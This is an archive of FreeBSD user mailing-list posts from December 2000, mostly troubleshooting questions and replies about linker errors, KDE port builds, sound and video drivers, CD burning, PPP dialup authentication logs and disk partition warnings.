	=============== begin ====================
cc -o conftest -O -pipe -pipe -mcpu=i686 -march=i686 -DMI_CFLAGS -I/opt/include/glib12 -I/opt/include -I/opt/include conftest.c -L/opt/lib -lintl -L/opt/lib -lORBit -lIIOP -lORBitutil -lglib12 -lm -v
Using builtin specs.
gcc version 2.95.2 19991024 (release)
 /usr/libexec/cpp -lang-c -v -I/opt/include/glib12 -I/opt/include -I/opt/include -D__GNUC__=2 -D__GNUC_MINOR__=95 -Di386 -Dunix -D__FreeBSD__=4 -D__FreeBSD_cc_version=410000 -D__i386__ -D__unix__ -D__FreeBSD__=4 -D__FreeBSD_cc_version=410000 -D__i386 -D__unix -Acpu(i386) -Amachine(i386) -Asystem(unix) -Asystem(FreeBSD) -D__OPTIMIZE__ -Acpu(i386) -Amachine(i386) -Di386 -D__i386 -D__i386__ -D__ELF__ -DMI_CFLAGS conftest.c |
 /usr/libexec/cc1 -quiet -dumpbase conftest.c -mcpu=i686 -march=i686 -O -version -o - |
 /usr/libexec/elf/as -v -o /tmp/ccT24492.o -
GNU CPP version 2.95.2 19991024 (release) (i386 FreeBSD/ELF)GNU C version 2.95.2 19991024 (release) (i386-unknown-freebsd) compiled by GNU C version 2.95.2 19991024 (release).

GNU assembler version 2.10.0 (i386-unknown-freebsd4) using BFD version 2.10.0#include "..." search starts here:

#include <...> search starts here:
 /opt/include/glib12
 /opt/include
 /usr/include
 /usr/include
End of search list.
The following default directories have been omitted from the search path:
 /usr/include/g++
End of omitted list.
 /usr/libexec/elf/ld -m elf_i386 -dynamic-linker /usr/libexec/ld-elf.so.1 -o conftest /usr/lib/crt1.o /usr/lib/crti.o /usr/lib/crtbegin.o -L/opt/lib -L/opt/lib -L/usr/libexec/elf -L/usr/libexec -L/usr/lib /tmp/ccT24492.o -lintl -lORBit -lIIOP -lORBitutil -lglib12 -lm /usr/lib/libgcc.a -lc /usr/lib/libgcc.a /usr/lib/crtend.o /usr/lib/crtn.o
/usr/lib/libwrap.so.3: undefined reference to `longjmp'
/usr/lib/libwrap.so.3: undefined reference to `setjmp'
/usr/lib/libwrap.so.3: undefined reference to `getprotobyname'
/usr/lib/libwrap.so.3: undefined reference to `sleep'
/usr/lib/libwrap.so.3: undefined reference to `wait'
/usr/lib/libwrap.so.3: undefined reference to `umask'
/usr/lib/libwrap.so.3: undefined reference to `setgid'
/usr/lib/libwrap.so.3: undefined reference to `setenv'
/usr/lib/libwrap.so.3: undefined reference to `strtok'
/usr/lib/libwrap.so.3: undefined reference to `sscanf'
/usr/lib/libwrap.so.3: undefined reference to `nice'
/usr/lib/libwrap.so.3: undefined reference to `fgetc'
/usr/lib/libwrap.so.3: undefined reference to `strspn'
/usr/lib/libwrap.so.3: undefined reference to `setuid'
	=============== end ====================

Now, if I add the explicit -lwrap to command line, the thing links properly:

	=============== begin ====================
cc -o conftest -O -pipe -pipe -mcpu=i686 -march=i686 -DMI_CFLAGS -I/opt/include/glib12 -I/opt/include -I/opt/include conftest.c -L/opt/lib -lintl -L/opt/lib -lORBit -lIIOP -lORBitutil -lglib12 -lm -v -lwrap
Using builtin specs.
gcc version 2.95.2 19991024 (release)
 /usr/libexec/cpp -lang-c -v -I/opt/include/glib12 -I/opt/include -I/opt/include -D__GNUC__=2 -D__GNUC_MINOR__=95 -Di386 -Dunix -D__FreeBSD__=4 -D__FreeBSD_cc_version=410000 -D__i386__ -D__unix__ -D__FreeBSD__=4 -D__FreeBSD_cc_version=410000 -D__i386 -D__unix -Acpu(i386) -Amachine(i386) -Asystem(unix) -Asystem(FreeBSD) -D__OPTIMIZE__ -Acpu(i386) -Amachine(i386) -Di386 -D__i386 -D__i386__ -D__ELF__ -DMI_CFLAGS conftest.c |
 /usr/libexec/cc1 -quiet -dumpbase conftest.c -mcpu=i686 -march=i686 -O -version -o - |
 /usr/libexec/elf/as -v -o /tmp/ccV24536.o -
GNU CPP version 2.95.2 19991024 (release) (i386 FreeBSD/ELF)GNU C version 2.95.2 19991024 (release) (i386-unknown-freebsd) compiled by GNU C version 2.95.2 19991024 (release).

GNU assembler version 2.10.0 (i386-unknown-freebsd4) using BFD version 2.10.0#include "..." search starts here:

#include <...> search starts here:
 /opt/include/glib12
 /opt/include
 /usr/include
 /usr/include
End of search list.
The following default directories have been omitted from the search path:
 /usr/include/g++
End of omitted list.
 /usr/libexec/elf/ld -m elf_i386 -dynamic-linker /usr/libexec/ld-elf.so.1 -o conftest /usr/lib/crt1.o /usr/lib/crti.o /usr/lib/crtbegin.o -L/opt/lib -L/opt/lib -L/usr/libexec/elf -L/usr/libexec -L/usr/lib /tmp/ccV24536.o -lintl -lORBit -lIIOP -lORBitutil -lglib12 -lm -lwrap /usr/lib/libgcc.a -lc /usr/lib/libgcc.a /usr/lib/crtend.o /usr/lib/crtn.o
	=============== end ====================

I checked this on another machine -- everything is fine, there is no need
for explicit -lwrap. The ld, elf/ld, cc, libwrap.so.3 are the same...

Any comments? TIA!

	-mi


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Dead Line wrote:
> i have installed the SSH from the web, on my same box. 3.2-release
> and when i do make
> it gives me these errors.
> "/usr/share/mk/bsd.port.mk", line 2: Could not find 
> /usr/ports/Mk/bsd.port.mk

I am 75% sure this is covered in http://www.freebsd.org/ports/ under
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Not sure how to solve your libc dependency problem.



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Are there any opinions or known problems with burning cd's using an IDE
CD-R/W? Just data - no audio cd's though I imagine that does not make a
difference in this. Thanks for help with new FreeBSD user issues.

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john d taylor wrote:
> 
> Are there any opinions or known problems with burning cd's using an IDE
> CD-R/W? Just data - no audio cd's though I imagine that does not make a
> difference in this. Thanks for help with new FreeBSD user issues.

We have an HP IDE cd burner in one of our 'backup' machines here, works like a
charm... In fact, I gave up with the SCSI one we have in another machine, as
the IDE one took a lot less figuring out...

I've burnt data, audio etc. with it - and it makes FreeBSD bootable CD's a
treat :) Your mileage may vary with other IDE ones, I've had no problems so
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I am running FreeBSD 4.2-STABLE.  I synced and rebuilt the world a couple
weeks ago and should have a decent version, although the sound drivers may
have some issues.

Last night I changed my kernel config from "device pcm" to "device
pcm0" and that did not have any affect really.

My card should be a Vibra16, maybe.  I is an es1371 for sure.  I am not
sure if that means it is a Vibra16.  It came in a SoundBlaster box.

I am wondering if I should delete the sound devices and run MAKEDEV again,
or if MAKEDEV will handle replacing old drivers when it is run.

I have followed the instructions in the man pages and the online handbook
closely, what can I do to troubleshoot this?

Brennan Stehling - web developer and sys admin
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On Tue, 19 Dec 2000, David Johnson wrote:

> Brennan Stehling wrote:
> > 
> > I have an es1371.  Did either of you resolve your problems with FreeBSD 4
> > and pcm?
> 
> Boy, that's been a while...
> 
> My sound card worked much better under 4.1. The only problems I had with
> in 4.1 was with KDE-2, which tended to skip. I suspect that this is
> primarily due to the linux-centricity of KDE.
> 
> > > cat /dev/sndstat
> > FreeBSD Audio Driver (newpcm) Dec 15 2000 20:21:40
> > Installed devices:
> > pcm0: <SB DSP 4.16 (ViBRA16X)> at io 0x220 irq 5 drq 1:3 (1p/1r channels
> > duplex
> 
> Is your card a ViVRA16? If so then it is detecting the right sound card.
> The pcm driver is pretty new, so I suspect that there will be minor
> problems with it for a while. If you're still on 4.0, try moving up to
> 4.1 or 4.2.
> 
> David
> 



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I was wondering if it was possible to get the linux nvidia drivers working
under freeBSD??? I have a TNT2 and was wondering if it's possible to get
OpenGL working under X??

I installed X 4.01 and the Nvidia GLX Drivers from source and enabled GLX
in the XF86Config file, however, i couldn't get the Nvidia Kernel driver
working.  When i compiled it, it gave me several errors which i think are
attributed to it being designed for linux.

Are there any work arounds to this like a freeBSD version of the Nvidia
driver, or modification of the source code and re-compilation to get it
working???

Thankx a lot for your help!!!

Shahmeer

P.S: Thanks for helping me out with the kernel compilation errors i was
getting last time i e-mailed you, the solution u gave me worked like a
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I'm trying to install KDE 2.0.1 from ports/x11/kde2/... everything goes fine until somewhere into kdebase. This is the error:

c++ -O2 -fno-exceptions -fno-check-new -Wall -pedantic -W -Wpointer-arith -Wmissing-prototypes -Wwrite-strings -Wno-long-long -fno-builtin -O -pipe -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o nspluginviewer nsplugin.o viewer.o kxt.o NSPluginCallbackIface_stub.o NSPluginClassIface_skel.o nspluginviewer_meta_unload.o -Wl,-export-dynamic -Wl,--export-dynamic  -L/usr/X11R6/lib -L/usr/local/lib -lXm -ljpeg -ljpeg -L/usr/libexec/elf -L/usr/libexec -L/usr/lib -ljpeg /usr/local/lib/libkio.so /usr/local/lib/libkdeui.so -ljpeg -ljpeg -ljpeg -ljpeg /usr/local/lib/libkdesu.so /usr/local/lib/libkdecore.so /usr/local/lib/libDCOP.so -lqt2 -lpng -ljpeg -lXext -lX11 -lSM -lICE -ljpeg -ljpeg -lutil -ljpeg -lz -ljpeg -lm -lXt -ljpeg -lstdc++ -lgcc -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/X11R6/lib
/usr/X11R6/lib/libXm.a(PrintS.o): In function `PrintNotifyHandler':
PrintS.o(.text+0x148): undefined reference to `XpStartPage'
PrintS.o(.text+0x161): undefined reference to `XpEndPage'
PrintS.o(.text+0x179): undefined reference to `XpEndJob'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `ResourcesUpdate':
PrintS.o(.text+0x1db): undefined reference to `XpGetOneAttribute'
PrintS.o(.text+0x26b): undefined reference to `XpGetPageDimensions'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `SelectXpEvents':
PrintS.o(.text+0x308): undefined reference to `XpGetContext'
PrintS.o(.text+0x31b): undefined reference to `XpSelectInput'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `Initialize':
PrintS.o(.text+0x439): undefined reference to `XpQueryExtension'
PrintS.o(.text+0x450): undefined reference to `XpGetContext'
PrintS.o(.text+0x46d): undefined reference to `XpGetScreenOfContext'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `Destroy':
PrintS.o(.text+0x5cf): undefined reference to `XpGetContext'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `FilePipeCB':
PrintS.o(.text+0x75b): undefined reference to `XpGetContext'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `ChildPrintToFile':
PrintS.o(.text+0x820): undefined reference to `XpGetDocumentData'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintToFile':
PrintS.o(.text+0x88a): undefined reference to `XpGetContext'
/usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintPopupPDM':
PrintS.o(.text+0xac7): undefined reference to `XpGetContext'
PrintS.o(.text+0xae4): undefined reference to `XpGetPdmStartParams'
/usr/X11R6/lib/libXm.a(ImageCache.o): In function `_XmPutScaledImage':
ImageCache.o(.text+0x1707): undefined reference to `XpQueryExtension'
ImageCache.o(.text+0x171a): undefined reference to `XpGetContext'
ImageCache.o(.text+0x1737): undefined reference to `XpGetOneAttribute'
ImageCache.o(.text+0x177a): undefined reference to `XpSetImageResolution'
ImageCache.o(.text+0x17b5): undefined reference to `XpSetImageResolution'
gmake[3]: *** [nspluginviewer] Error 1
gmake[3]: Leaving directory `/usr/ports/x11/kdebase2/work/kdebase-2.0.1/nsplugins/viewer'

What am I missing here? And how do I correct it?

Bjarne
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From owner-freebsd-questions  Tue Dec 19 12:42:10 2000
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You can use the utah-glx port to get decent hardware-accelerated
OpenGL on the TNT2, although it won't use AGP/DMA, as apparently
NVidia does not release the necessary docs/source to implement it.

Also, I believe utah-glx only works with XFree86-3.3.6.

Overall, it works well, but some GL programs will lock my machine
up solid.  I haven't determined what exactly causes this yet...
The bzflag port, for example, will get to the point where it is
testing the performance of various rendering quality levels during
initialization, and when it starts to test 'highest quality' mode,
the machine locks up tight as a drum.  YMMV.

On Tue, Dec 19, 2000 at 12:23:28PM -0800, shahmeer@UVic.CA wrote:
> I was wondering if it was possible to get the linux nvidia drivers working
> under freeBSD??? I have a TNT2 and was wondering if it's possible to get
> OpenGL working under X??
> 
> I installed X 4.01 and the Nvidia GLX Drivers from source and enabled GLX
> in the XF86Config file, however, i couldn't get the Nvidia Kernel driver
> working.  When i compiled it, it gave me several errors which i think are
> attributed to it being designed for linux.
> 
> Are there any work arounds to this like a freeBSD version of the Nvidia
> driver, or modification of the source code and re-compilation to get it
> working???
> 
> Thankx a lot for your help!!!
> 
> Shahmeer
> 
> P.S: Thanks for helping me out with the kernel compilation errors i was
> getting last time i e-mailed you, the solution u gave me worked like a
> charm :)
> 
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> Where can I obtain/purchase a stable release of freebsd? Price?
> Telephone?  email?  I don't want to go through the trouble of a
> download.

http://www.wccdrom.com/titles/freebsd/bsd-a.phtml

The most recent stable, 4-CD set (FreeBSD 4.2) is US$39.95.  It's
cheaper if you subscribe.

> What release can i use on a 286, 4MB ram?

None.  FreeBSD requires at least a 386.  Full hardware compatibility
lists can be found at www.freebsd.org.

> What release can i use on a 200Mhz pentium pro double processor and
> 512 MB ram?

Any, provided your other hardware isn't unbelievably weird.  See the
compatibility lists at www.freebsd.org.

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I've decided to try out earthlink but I can't seem to connect. I've been
using a local ISP who I need to connect the old fashion way of a login
script, but earthlink uses PAP/CHAP.

I'm running stable since yesterday (when new ppp code was released I
decided to cvsup and see if it would work)

BTW, I know my username and password are corect.

Thanks,

Here's my config:

default:
 ident user-ppp VERSION (built COMPILATIONDATE)
 set log Phase Chat LCP IPCP CCP tun command
[cut]

radixnet:
 set phone 3016383300|3016457766
 set login "ABORT NO\\sCARRIER TIMEOUT 10 Net>):--Net>): ppp \
            name: patseal word: ********"

earthlink:
 set phone 2403526884|3016383240
 set authname patseal
 set authkey ********


Here's the relevant error message for the first phone number of earthlink:
[cut]
Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set phone 2403526884|3016383240 
Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set authname patseal 
Dec 19 15:49:13 foobar ppp[50535]: tun0: Command: earthlink: set authkey ******** 
[cut]
Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: FSM: Using "deflink" as a transport 
Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: deflink: State change Initial --> Closed 
Dec 19 15:49:35 foobar ppp[50536]: tun0: LCP: deflink: State change Closed --> Stopped 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: LayerStart 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigReq(1) state = Stopped 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1500 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x36357960 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Stopped --> Req-Sent 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigReq(1) state = Req-Sent 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRRU[4] 1514 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ENDDISC[3] Null Class 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigRej(1) state = Req-Sent 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRRU[4] 1514 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: Sending ident magic 36357960 text user-ppp 2.3 (built Dec 18 2000) 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendIdent(0) state = Req-Sent 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigAck(1) state = Req-Sent 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Req-Sent --> Ack-Rcvd 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: RecvConfigReq(2) state = Ack-Rcvd 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendConfigAck(2) state = Ack-Rcvd 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MRU[4] 1514 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACCMAP[6] 0x00000000 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Ack-Rcvd --> Opened 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: LayerUp 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: Sending ident magic 36357960 text user-ppp 2.3 (built Dec 18 2000) 
Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendIdent(1) state = Opened 
Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: bundle: Authenticate 
Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: deflink: his = PAP, mine = none 
Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 1) 
Dec 19 15:49:39 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
Dec 19 15:49:39 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 2) 
Dec 19 15:49:42 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
Dec 19 15:49:42 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 3) 
Dec 19 15:49:45 foobar ppp[50536]: tun0: Phase: Auth: No response from server 

And the second number of earthlink:
[cut]
Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set phone 3016383240 
Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set authname patseal 
Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set authkey ******** 
[cut]
Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: FSM: Using "deflink" as a transport 
Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: deflink: State change Initial --> Closed 
Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: deflink: State change Closed --> Stopped 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: LayerStart 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigReq(1) state = Stopped 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x00000000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1500 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MAGICNUM[6] 0x723c281c 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Stopped --> Req-Sent 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigReq(1) state = Req-Sent 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  <0x0>[4] 0000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRRU[4] 1524 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigRej(1) state = Req-Sent 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  <0x0>[4] 0000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRRU[4] 1524 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: Sending ident magic 723c281c text user-ppp 2.3 (built Dec 18 2000) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendIdent(0) state = Req-Sent 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigAck(1) state = Req-Sent 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Req-Sent --> Ack-Rcvd 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigReq(2) state = Ack-Rcvd 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigAck(2) state = Ack-Rcvd 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Ack-Rcvd --> Opened 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: LayerUp 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: Sending ident magic 723c281c text user-ppp 2.3 (built Dec 18 2000) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendIdent(1) state = Opened 
Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: bundle: Authenticate 
Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: deflink: his = CHAP 0x05, mine = none 
Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Input: CHALLENGE (16 bytes from tnt4.waldorf) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Output: RESPONSE (patseal) 
Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Input: FAILURE 


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I installed FreeBSD 4.2 via FTP and used CVS to update, build, and install
new binaries and a new (custom) kernel.  The machine has an Adaptec 3950B
SCSI card, one 4 GB IDE hard drive (boot and system drive), and five 18.3 GB
IBM SCSI drives (for data, hot-swappable).  This computer is to be our
fileserver.  Whenever I try to do anything that writes to the SCSI drives
(/dev/da{0-4}) I get "OPERATION NOT PERMITTED" as an error message.  I can
read from the drive just fine using dd:

dd if=/dev/da0 of=junkfile bs=1024 count=1024

But if I try anything to write to the drive, it fails.  Any clue why?  I'd
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Hey folks, how's life?

Here's and easy one:
I want to do a make world and not build all the games and crap.  What is the
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I have a IDE drive that i suspect is dying. 
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I've just cvsuped the entire collection, 

built the world with

/usr/src/make buildworld

and on

/usr/src/make installworld i get

===> lib/libcrypt
install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
*** Error code 71

Any Ideas?

Thanks

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Hi everyone,

I've been getting some warnings at bootup ever since I installed FreeBSD. (I
used sysinstall for partitioning, so nothing should have gone wrong.) I
figure it's not of any consequence, but since FreeBSD insists on warning me
every time I boot, I thought I'd check, just in case it's trying to tell me
that something is going to go wrong when I try to fill the last 12 sectors
of the slice. Does anyone have an idea about this?

> ata1-slave: ata_command: timeout waiting for intr
> ata1-slave: identify failed
> ad0: 19595MB <QUANTUM FIREBALLP LM20.5> [39813/16/63] at ata0-master using
UDMA66
> ad1: 17206MB <WDC AC418000D> [34960/16/63] at ata0-slave using UDMA66
> acd0: DVD-ROM <TOSHIBA DVD-ROM SD-M1202> at ata1-master using WDMA2
> Mounting root from ufs:/dev/ad1s3a
> ad1s1: raw partition size != slice size
> ad1s1: start 63, end 144584, size 144522
> ad1s1c: start 63, end 35239679, size 35239617
> ad1s1: truncating raw partition
> ad1s1: rejecting partition in BSD label: it isn't entirely within the
slice
> ad1s1: start 63, end 144584, size 144522
> ad1s1b: start 102463, end 1160302, size 1057840
> ad1s1: rejecting partition in BSD label: it isn't entirely within the
slice
> ad1s1e: start 1160303, end 3257454, size 2097152
> ad1s1: rejecting partition in BSD label: it isn't entirely within the
slice
> ad1s1f: start 3257455, end 35239679, size 31982225

The ata1-slave error is correct because there is no secondary slave--- I'm
more concerned about the "raw partition size != slice size" and "truncating
raw partition" bits. /dev/ad0 has one DOS partition, /dev/ad1 has a Linux
partition, an extended DOS partition, and a BSD partition, all starting well
below the 1024 cylinder boundary.

On a related note, I'd appreciate it if anyone happened to know if it's
possible to mount a logical Linux partition that exists within an extended
partition.

Thanks in advance!

Regards,

David Schultz



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On Mon, Dec 18, 2000 at 11:04:43PM -0800, Shon Smith wrote:

[...]
> __________________________________________________________________________
> Here is ppp.conf:
> 
> default:
>   # Ensure that "device" references the correct serial port
>   # for your modem. (cuaa0 = COM1, cuaa1 = COM2)
>   #
>   set device /dev/cuaa0
>   set speed 115200
>   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \OK-AT-OK ATE1Q0
> OK \\dATDT\\T TIMEOUT 40 CONNECT \"\""
> #
> provider:
>   set phone 240-4492
>   #  set login "TIMEOUT 10 \"\" \"\" gin:--gin: foo word: bar col: ppp"
>   set timeout 300
>   set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0
>   add default HISADDR
>   enable dns
> ___________________________________________________________________________

Three things:

    1. For debugging any chat scripts or anything, your should have the
       following line in the default section:

        set log Phase Chat LCP IPCP CCP tun command

       This will give your a bit more to work with in the log files.

	2. Could be that your modem doesn't understand `-' in the phone
	   number field. Take it out, ie:

        set phone 240-4492

    3. You forgot to set the login and password in your "provider"
       section. You need to have the following lines in there:

        set authname YOURUSERNAME
        set authkey YOURPASSWORD

Hope this helps.
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 While trying to install Frontpage Extensions on my nice new FreeBSD 4.1.2
machine (I know, YUK!) the script came up and said "lib.so.3 not found"

 My question is, where or how do you install this beast?

 I'm using the apache toolboxkit to compile Apache and all the modules, but
I'm assuming one still has to install the fp extensions by hand.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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All that only works with SCSI, right?  How about an all IDE solution?
I was able to use sox and burncd to write wave files to the CD.  Can I
do a cd-to-cd copy with an IDE drive?

Eyal

cam (Camille HUOT) writes:

 > On Mon, 18 Dec 2000 20:30:28 -0800
 > Eyal Soha <esoha@cisco.com> wrote:
 > 
 > > I've seen a lot of people asking how to burn cds but no answers.  It
 > > almost seems like no one knows how to burn a CD.  Regardless:
 > > 
 > > Is there a way to make a duplicate of a CD?  How?
 > > 
 > > What's the proper way to convert an mp3 into raw format for burning
 > > a
 > > cd, and then what burncd options should be used?
 > > 
 > > Eyal
 > 
 > to duplicate a cd you can use 'cdrdao' with the 'copy' command ...
 > to burn a cd from files you have to use mkisofs with cdrecord
 > to burn an audio cd from mp3 or wav files you have to use xmms/sox with cdrecord or cdrdao
 > 
 > but all theses things can be done with gtoaster
 > 
 > all of these are in /usr/ports/sysutils or /usr/ports/audio
 > 
 > bye
 > cam

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On Tue, Dec 19, 2000 at 12:14:13PM +0200, Ana Romero wrote:
> 
> HI!!
>  I have two network cards in my PC with freeBSD 4.0., a
